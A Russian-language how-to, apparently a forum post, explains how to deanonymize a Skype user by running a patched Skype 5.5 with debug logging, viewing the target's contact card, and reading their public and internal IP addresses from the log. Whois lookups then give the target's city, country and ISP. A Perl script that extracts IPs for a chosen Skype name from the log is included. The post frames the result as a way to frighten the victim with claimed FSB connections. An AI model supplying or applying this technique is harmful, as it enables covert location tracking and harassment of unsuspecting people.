Деанон скайп юзера через его ип-адрес

---
Деанон скайп юзера через его ип-адрес.

1. Качаем отсюда пропатченный скайп версии 5.5:
http://skype-open-source.blogspot.com/2012/03/skype55-deobfuscated-released.html

2. Включаем создание файла с дебаг-логом через добавление нескольких ключей реестр.
https://github.com/skypeopensource/skypeopensource/wiki/skype-3.x-4.x-5.x-enable-logging

3. Выбираем функцию добавить скайп контакт, но не добавляем, а только кликаем на него, чтобы посмотреть vcard. Этого будет достаточно.

4. Смотрим в логах нужный скайпнейм.
В записи такого вида будет его реальный ип: -r195.100.213.25:31101
А вот в такой, внутренний ип сетевой карты: -l172.10.5.17
21:16:45.818 T#3668 PresenceManager: аїљnoticingskypetestuser10x3e54a539a91a19fc-s-s65.55.223.23:40013-r195.100.213.25:31101-l172.10.5.17:2296023d2310982f328ff

5. Смотрим его по whois.
http://nic.ru/whois/?query=195.100.213.25

Получаем город, страну, провайдера и внутренний ип юзера. Троллим беднягу связями в ФСБ.

---
Перл скрипт для автоматизации поиска в дебаг логе.
---
#!perl

$LOGFILE="debug-20120420-2257.log";
$SKYPENAME="skypetestuser1";

open(RD,$LOGFILE);
open(WR,">_ip_logger.txt");
while(<RD>){ chomp;
 $line=$_;

 if( ($line=~ /PresenceManager:/) and ($line=~ /noticing/) ){
  $line=~ /-r(\d+.\d+.\d+.\d+)/;
  $ip=$1;

  print WR $line."\n";
  print WR "IP: $ip\n";

  if ($line=~ /$SKYPENAME/){
   print $line."\n";
   print "${SKYPENAME} IP: $ip\n";
  };
 };

};
close(RD);
close(WR);
---